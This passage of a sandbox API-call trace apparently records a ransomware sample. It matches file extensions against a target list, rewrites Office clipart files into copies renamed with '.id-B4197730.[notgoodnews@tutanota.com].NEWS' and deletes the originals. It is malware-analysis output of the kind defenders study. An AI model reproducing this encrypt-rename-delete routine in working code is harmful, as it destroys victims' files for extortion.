(lpString=".7z") returned 3 [0074.424] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.424] lstrlenW (lpString=".dbf") returned 4 [0074.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.424] lstrlenW (lpString=".1cd") returned 4 [0074.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString=".jpg") returned 4 [0074.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString=".doc") returned 4 [0074.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.425] lstrlenW (lpString=".docx") returned 5 [0074.425] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.425] lstrlenW (lpString=".pdf") returned 4 [0074.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.425] lstrlenW (lpString=".xls") returned 4 [0074.425] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.425] lstrlenW (lpString=".xlsx") returned 5 [0074.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.425] lstrlenW (lpString=".ppt") returned 4 [0074.425] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString=".zip") returned 4 [0074.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.425] lstrlenW (lpString=".rar") returned 4 [0074.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.425] lstrlenW (lpString=".bz2") returned 4 [0074.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.425] lstrlenW (lpString=".7z") returned 3 [0074.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString=".dbf") returned 4 [0074.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString=".1cd") returned 4 [0074.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.425] lstrlenW (lpString=".jpg") returned 4 [0074.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.426] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.426] lstrlenW (lpString="AG00160_.GIF") returned 12 [0074.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.426] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1146) returned 1 [0074.426] CloseHandle (hObject=0x350) returned 1 [0074.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0074.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.426] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.426] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0074.427] GetLastError () returned 0x0 [0074.427] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x47a, lpOverlapped=0x0) returned 1 [0074.828] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x480, lpOverlapped=0x0) returned 1 [0074.829] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.829] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.829] SetEndOfFile (hFile=0x384) returned 1 [0075.549] CloseHandle (hObject=0x384) returned 1 [0075.636] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.636] SetEndOfFile (hFile=0x350) returned 1 [0076.001] CloseHandle (hObject=0x350) returned 1 [0076.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0076.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.002] lstrlenW (lpString=".doc") returned 4 [0076.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.002] lstrlenW (lpString=".docx") returned 5 [0076.002] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0076.002] lstrlenW (lpString=".pdf") returned 4 [0076.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.002] lstrlenW (lpString=".xls") returned 4 [0076.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.002] lstrlenW (lpString=".xlsx") returned 5 [0076.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0076.002] lstrlenW (lpString=".ppt") returned 4 [0076.002] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.002] lstrlenW (lpString=".zip") returned 4 [0076.002] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString=".rar") returned 4 [0076.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString=".bz2") returned 4 [0076.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.003] lstrlenW (lpString=".7z") returned 3 [0076.003] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.003] lstrlenW (lpString=".dbf") returned 4 [0076.003] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.003] lstrlenW (lpString=".1cd") returned 4 [0076.003] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.003] lstrlenW (lpString=".jpg") returned 4 [0076.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.003] lstrlenW (lpString=".doc") returned 4 [0076.003] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.003] lstrlenW (lpString=".docx") returned 5 [0076.003] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0076.003] lstrlenW (lpString=".pdf") returned 4 [0076.003] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString=".xls") returned 4 [0076.003] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString=".xlsx") returned 5 [0076.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0076.003] lstrlenW (lpString=".ppt") returned 4 [0076.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.003] lstrlenW (lpString=".zip") returned 4 [0076.003] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString=".rar") returned 4 [0076.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.003] lstrlenW (lpString=".bz2") returned 4 [0076.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.004] lstrlenW (lpString=".7z") returned 3 [0076.004] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.004] lstrlenW (lpString=".dbf") returned 4 [0076.004] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.004] lstrlenW (lpString=".1cd") returned 4 [0076.004] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0076.004] lstrlenW (lpString=".jpg") returned 4 [0076.004] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.004] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.004] lstrlenW (lpString="AN01218_.WMF") returned 12 [0076.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.004] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3012) returned 1 [0076.004] CloseHandle (hObject=0x350) returned 1 [0076.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0076.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.005] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.005] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.005] GetLastError () returned 0x0 [0076.005] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0076.006] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0076.007] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.007] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.007] SetEndOfFile (hFile=0x330) returned 1 [0076.008] CloseHandle (hObject=0x330) returned 1 [0076.008] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.008] SetEndOfFile (hFile=0x350) returned 1 [0076.009] CloseHandle (hObject=0x350) returned 1 [0076.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0076.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.010] lstrlenW (lpString=".doc") returned 4 [0076.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.010] lstrlenW (lpString=".docx") returned 5 [0076.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.010] lstrlenW (lpString=".pdf") returned 4 [0076.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.010] lstrlenW (lpString=".xls") returned 4 [0076.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.010] lstrlenW (lpString=".xlsx") returned 5 [0076.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.010] lstrlenW (lpString=".ppt") returned 4 [0076.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.010] lstrlenW (lpString=".zip") returned 4 [0076.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.010] lstrlenW (lpString=".rar") returned 4 [0076.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.010] lstrlenW (lpString=".bz2") returned 4 [0076.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.010] lstrlenW (lpString=".7z") returned 3 [0076.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.010] lstrlenW (lpString=".dbf") returned 4 [0076.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString=".1cd") returned 4 [0076.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString=".jpg") returned 4 [0076.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString=".doc") returned 4 [0076.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString=".docx") returned 5 [0076.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.011] lstrlenW (lpString=".pdf") returned 4 [0076.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString=".xls") returned 4 [0076.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.011] lstrlenW (lpString=".xlsx") returned 5 [0076.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.011] lstrlenW (lpString=".ppt") returned 4 [0076.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString=".zip") returned 4 [0076.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.011] lstrlenW (lpString=".rar") returned 4 [0076.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString=".bz2") returned 4 [0076.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString=".7z") returned 3 [0076.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString=".dbf") returned 4 [0076.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.011] lstrlenW (lpString=".1cd") returned 4 [0076.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0076.012] lstrlenW (lpString=".jpg") returned 4 [0076.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.012] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.012] lstrlenW (lpString="AN01251_.WMF") returned 12 [0076.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.012] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2756) returned 1 [0076.012] CloseHandle (hObject=0x350) returned 1 [0076.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0076.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.012] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.012] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.013] GetLastError () returned 0x0 [0076.013] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xac4, lpOverlapped=0x0) returned 1 [0076.014] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xad0, lpOverlapped=0x0) returned 1 [0076.015] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.015] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.015] SetEndOfFile (hFile=0x330) returned 1 [0076.015] CloseHandle (hObject=0x330) returned 1 [0076.016] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.016] SetEndOfFile (hFile=0x350) returned 1 [0076.017] CloseHandle (hObject=0x350) returned 1 [0076.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0076.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.017] lstrlenW (lpString=".doc") returned 4 [0076.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.017] lstrlenW (lpString=".docx") returned 5 [0076.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.017] lstrlenW (lpString=".pdf") returned 4 [0076.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.017] lstrlenW (lpString=".xls") returned 4 [0076.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.018] lstrlenW (lpString=".xlsx") returned 5 [0076.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.018] lstrlenW (lpString=".ppt") returned 4 [0076.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.018] lstrlenW (lpString=".zip") returned 4 [0076.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.018] lstrlenW (lpString=".rar") returned 4 [0076.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString=".bz2") returned 4 [0076.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString=".7z") returned 3 [0076.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.018] lstrlenW (lpString=".dbf") returned 4 [0076.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 